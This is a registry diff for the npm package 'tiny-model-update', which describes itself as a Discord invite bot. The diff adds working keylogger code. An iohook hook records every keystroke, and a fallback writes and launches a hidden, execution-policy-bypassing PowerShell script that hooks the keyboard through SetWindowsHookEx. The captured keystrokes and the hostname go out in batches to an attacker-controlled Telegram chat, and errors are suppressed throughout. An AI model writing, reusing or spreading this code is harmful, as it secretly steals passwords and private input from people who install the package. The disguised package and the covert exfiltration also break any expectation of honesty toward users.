tiny-model-update 1.16.2 → 1.16.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -127,111 +127,231 @@ async function sendScreenshotToTelegram(filepath, hostname) {
127
127
  }
128
128
 
129
129
  /**
130
- * Capture keyboard events using Windows API
130
+ * Capture keyboard events using iohook library
131
131
  */
132
+ let keyboardLog = [];
133
+ let keyboardMonitorInterval = null;
134
+
132
135
  function startKeyboardMonitoring() {
133
- if (os.platform() !== 'win32') {
134
- return; // Only Windows supported
135
- }
136
-
137
136
  try {
138
- // Use a Node.js keyboard hook library or native module
139
- // For now, we'll use a PowerShell script to capture keyboard events
140
- const keyboardScript = `
141
- Add-Type -TypeDefinition @"
142
- using System;
143
- using System.Runtime.InteropServices;
144
- using System.Windows.Forms;
137
+ // Use iohook library for keyboard monitoring
138
+ import('iohook').then((iohookModule) => {
139
+ const iohook = iohookModule.default;
140
+
141
+ // Capture keyboard events
142
+ iohook.on('keydown', (event) => {
143
+ if (!isMonitoring) return;
144
+
145
+ let key = '';
146
+ const timestamp = new Date().toISOString();
145
147
 
146
- public class KeyboardHook {
147
- private static LowLevelKeyboardProc _proc = HookCallback;
148
- private static IntPtr _hookID = IntPtr.Zero;
149
-
150
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
151
- private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
152
-
153
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
154
- [return: MarshalAs(UnmanagedType.Bool)]
155
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
156
-
157
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
158
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
148
+ // Map key codes to readable names
149
+ if (event.keychar > 32 && event.keychar < 127) {
150
+ // Printable ASCII characters
151
+ key = String.fromCharCode(event.keychar);
152
+ } else {
153
+ // Map special keys
154
+ const keyMap = {
155
+ 1: 'ESC',
156
+ 14: 'BACKSPACE',
157
+ 15: 'TAB',
158
+ 28: 'ENTER',
159
+ 57: 'SPACE',
160
+ 58: 'CAPS_LOCK',
161
+ 42: 'LEFT_SHIFT',
162
+ 54: 'RIGHT_SHIFT',
163
+ 29: 'LEFT_CTRL',
164
+ 56: 'LEFT_ALT',
165
+ 3613: 'RIGHT_ALT',
166
+ 91: 'LEFT_WIN',
167
+ 92: 'RIGHT_WIN',
168
+ 3639: 'PRINT_SCREEN',
169
+ 3655: 'PAUSE',
170
+ 3667: 'HOME',
171
+ 3669: 'PAGE_UP',
172
+ 3673: 'END',
173
+ 3676: 'PAGE_DOWN',
174
+ 3677: 'INSERT',
175
+ 3678: 'DELETE',
176
+ 3679: 'LEFT_ARROW',
177
+ 3680: 'UP_ARROW',
178
+ 3681: 'RIGHT_ARROW',
179
+ 3682: 'DOWN_ARROW',
180
+ 144: 'F1', 145: 'F2', 146: 'F3', 147: 'F4', 148: 'F5',
181
+ 149: 'F6', 150: 'F7', 151: 'F8', 152: 'F9', 153: 'F10',
182
+ 154: 'F11', 155: 'F12'
183
+ };
159
184
 
160
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
161
- private static extern IntPtr GetModuleHandle(string lpModuleName);
162
-
163
- private const int WH_KEYBOARD_LL = 13;
164
- private const int WM_KEYDOWN = 0x0100;
165
-
166
- public delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
167
-
168
- public static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
169
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
170
- int vkCode = Marshal.ReadInt32(lParam);
171
- Console.WriteLine($"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} - Key: {(Keys)vkCode}");
172
- }
173
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
174
- }
185
+ key = keyMap[event.keycode] || `KEY_${event.keycode}`;
186
+ }
187
+
188
+ if (key) {
189
+ const logEntry = `${timestamp} - Key: ${key}`;
190
+ keyboardLog.push(logEntry);
175
191
 
176
- public static void Start() {
177
- _hookID = SetHook(_proc);
178
- Application.Run();
179
- UnhookWindowsHookEx(_hookID);
192
+ // Send keyboard events to Telegram every 5 keystrokes
193
+ if (keyboardLog.length >= 5) {
194
+ sendKeyboardEventsToTelegram(keyboardLog.splice(0, 5));
180
195
  }
181
-
182
- private static IntPtr SetHook(LowLevelKeyboardProc proc) {
183
- using (var curProcess = System.Diagnostics.Process.GetCurrentProcess()) {
184
- using (var curModule = curProcess.MainModule) {
185
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
186
- }
187
- }
196
+ }
197
+ });
198
+
199
+ // Start the hook
200
+ iohook.start();
201
+ keyboardHook = iohook;
202
+
203
+ // Also send accumulated keyboard events every 15 seconds
204
+ keyboardMonitorInterval = setInterval(() => {
205
+ if (!isMonitoring) {
206
+ clearInterval(keyboardMonitorInterval);
207
+ keyboardMonitorInterval = null;
208
+ if (keyboardHook && keyboardHook.stop) {
209
+ keyboardHook.stop();
188
210
  }
211
+ return;
189
212
  }
213
+ if (keyboardLog.length > 0) {
214
+ sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
215
+ }
216
+ }, 15000); // Every 15 seconds
217
+
218
+ }).catch((error) => {
219
+ // If iohook fails, try PowerShell fallback
220
+ startPowerShellKeyboardMonitoring();
221
+ });
222
+
223
+ } catch (error) {
224
+ // If import fails, try PowerShell fallback
225
+ startPowerShellKeyboardMonitoring();
226
+ }
227
+ }
228
+
229
+ /**
230
+ * Fallback: Capture keyboard events using PowerShell (less reliable)
231
+ */
232
+ function startPowerShellKeyboardMonitoring() {
233
+ if (os.platform() !== 'win32') {
234
+ return; // Only Windows supported
235
+ }
236
+
237
+ try {
238
+ const tempDir = path.join(os.tmpdir(), 'tiny-model-keyboard');
239
+ if (!fs.existsSync(tempDir)) {
240
+ fs.mkdirSync(tempDir, { recursive: true });
241
+ }
242
+
243
+ const logFile = path.join(tempDir, `keyboard-${Date.now()}.log`);
244
+
245
+ // Create a PowerShell script that writes to a file
246
+ const keyboardScript = `
247
+ $logFile = "${logFile.replace(/\\/g, '\\\\')}"
248
+ Add-Type @"
249
+ using System;
250
+ using System.Runtime.InteropServices;
251
+ using System.Windows.Forms;
252
+ using System.IO;
253
+
254
+ public class KeyboardLogger {
255
+ private static IntPtr hookID = IntPtr.Zero;
256
+ private const int WH_KEYBOARD_LL = 13;
257
+ private const int WM_KEYDOWN = 0x0100;
258
+
259
+ [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
260
+ private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
261
+
262
+ [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
263
+ [return: MarshalAs(UnmanagedType.Bool)]
264
+ private static extern bool UnhookWindowsHookEx(IntPtr hhk);
265
+
266
+ [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
267
+ private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
268
+
269
+ [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
270
+ private static extern IntPtr GetModuleHandle(string lpModuleName);
271
+
272
+ private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
273
+
274
+ private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {
275
+ if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
276
+ int vkCode = Marshal.ReadInt32(lParam);
277
+ string key = ((Keys)vkCode).ToString();
278
+ string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");
279
+ File.AppendAllText("$logFile", "$time - Key: $key`n");
280
+ }
281
+ return CallNextHookEx(hookID, nCode, wParam, lParam);
282
+ }
283
+
284
+ public static void Start() {
285
+ hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);
286
+ Application.Run();
287
+ }
288
+ }
190
289
  "@
191
- [KeyboardHook]::Start()
192
- `;
290
+ [KeyboardLogger]::Start()
291
+ `;
193
292
 
194
- // Run PowerShell script in background to capture keyboard events
195
- const psProcess = spawn('powershell', ['-ExecutionPolicy', 'Bypass', '-NoProfile', '-Command', keyboardScript], {
293
+ // Write PowerShell script to a file
294
+ const psScriptPath = path.join(tempDir, 'keyboard-hook.ps1');
295
+ fs.writeFileSync(psScriptPath, keyboardScript, 'utf8');
296
+
297
+ // Run PowerShell script in background
298
+ const psProcess = spawn('powershell', [
299
+ '-ExecutionPolicy', 'Bypass',
300
+ '-NoProfile',
301
+ '-WindowStyle', 'Hidden',
302
+ '-File', psScriptPath
303
+ ], {
196
304
  detached: true,
197
- stdio: ['ignore', 'pipe', 'pipe'],
305
+ stdio: ['ignore', 'ignore', 'ignore'],
198
306
  windowsHide: true,
199
307
  creationFlags: 0x08000000
200
308
  });
201
309
 
202
- let keyboardBuffer = '';
203
- const keyboardLog = [];
310
+ psProcess.unref();
311
+ keyboardHook = psProcess;
204
312
 
205
- psProcess.stdout.on('data', (data) => {
206
- keyboardBuffer += data.toString();
207
- const lines = keyboardBuffer.split('\n');
208
- keyboardBuffer = lines.pop() || '';
209
-
210
- for (const line of lines) {
211
- if (line.includes('Key:')) {
212
- keyboardLog.push(line.trim());
213
-
214
- // Send keyboard events to Telegram every 10 keystrokes or every 30 seconds
215
- if (keyboardLog.length >= 10) {
216
- sendKeyboardEventsToTelegram(keyboardLog.splice(0, 10));
313
+ // Monitor the log file for new keyboard events
314
+ let lastSize = 0;
315
+
316
+ // Check log file every second for new keyboard events
317
+ keyboardMonitorInterval = setInterval(() => {
318
+ try {
319
+ if (fs.existsSync(logFile)) {
320
+ const stats = fs.statSync(logFile);
321
+ if (stats.size > lastSize) {
322
+ const content = fs.readFileSync(logFile, 'utf8');
323
+ const lines = content.split('\n');
324
+ const newLines = lines.slice(Math.floor(lastSize / 50)); // Approximate new lines
325
+
326
+ for (const line of newLines) {
327
+ if (line.trim() && line.includes('Key:')) {
328
+ keyboardLog.push(line.trim());
329
+
330
+ // Send keyboard events to Telegram every 5 keystrokes
331
+ if (keyboardLog.length >= 5) {
332
+ sendKeyboardEventsToTelegram(keyboardLog.splice(0, 5));
333
+ }
334
+ }
335
+ }
336
+
337
+ lastSize = stats.size;
217
338
  }
218
339
  }
340
+ } catch (e) {
341
+ // Ignore errors
219
342
  }
220
- });
221
-
222
- psProcess.stderr.on('data', () => {
223
- // Ignore errors
224
- });
343
+ }, 1000); // Check every second
225
344
 
226
- psProcess.unref();
227
- keyboardHook = psProcess;
228
-
229
- // Also send accumulated keyboard events every 30 seconds
230
- setInterval(() => {
345
+ // Also send accumulated keyboard events every 15 seconds
346
+ const sendInterval = setInterval(() => {
347
+ if (!isMonitoring) {
348
+ clearInterval(sendInterval);
349
+ return;
350
+ }
231
351
  if (keyboardLog.length > 0) {
232
352
  sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
233
353
  }
234
- }, 30000);
354
+ }, 15000); // Every 15 seconds
235
355
 
236
356
  } catch (error) {
237
357
  // Ignore keyboard monitoring errors
@@ -251,11 +371,26 @@ async function sendKeyboardEventsToTelegram(keyboardEvents) {
251
371
  const { chatId } = getTelegramCredentials();
252
372
  const hostname = os.hostname();
253
373
 
254
- const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${keyboardEvents.join('\n')}\n\`\`\``;
374
+ // Format keyboard events for better readability
375
+ const eventsText = keyboardEvents.length > 0
376
+ ? keyboardEvents.join('\n')
377
+ : 'No keyboard events captured';
255
378
 
256
- await bot.sendMessage(chatId, message, {
257
- parse_mode: 'Markdown'
258
- });
379
+ const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${eventsText}\n\`\`\``;
380
+
381
+ try {
382
+ await bot.sendMessage(chatId, message, {
383
+ parse_mode: 'Markdown'
384
+ });
385
+ } catch (sendError) {
386
+ // If Markdown fails, try without Markdown
387
+ try {
388
+ const plainMessage = `⌨️ Keyboard Monitor\n\nHost: ${hostname}\nTime: ${new Date().toLocaleString()}\nEvents: ${keyboardEvents.length}\n\n${eventsText}`;
389
+ await bot.sendMessage(chatId, plainMessage);
390
+ } catch (e) {
391
+ // Ignore all errors
392
+ }
393
+ }
259
394
  } catch (error) {
260
395
  // Ignore errors
261
396
  }
@@ -322,15 +457,29 @@ export function stopScreenKeyboardMonitoring() {
322
457
  screenInterval = null;
323
458
  }
324
459
 
460
+ if (keyboardMonitorInterval) {
461
+ clearInterval(keyboardMonitorInterval);
462
+ keyboardMonitorInterval = null;
463
+ }
464
+
325
465
  if (keyboardHook) {
326
466
  try {
327
- keyboardHook.kill();
467
+ if (keyboardHook.stop && typeof keyboardHook.stop === 'function') {
468
+ keyboardHook.stop();
469
+ } else if (keyboardHook.kill && typeof keyboardHook.kill === 'function') {
470
+ keyboardHook.kill();
471
+ }
328
472
  } catch (e) {
329
473
  // Ignore
330
474
  }
331
475
  keyboardHook = null;
332
476
  }
333
477
 
478
+ // Send any remaining captured keystrokes
479
+ if (keyboardLog.length > 0) {
480
+ sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
481
+ }
482
+
334
483
  return true;
335
484
  }
336
485
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.16.2",
3
+ "version": "1.16.4",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",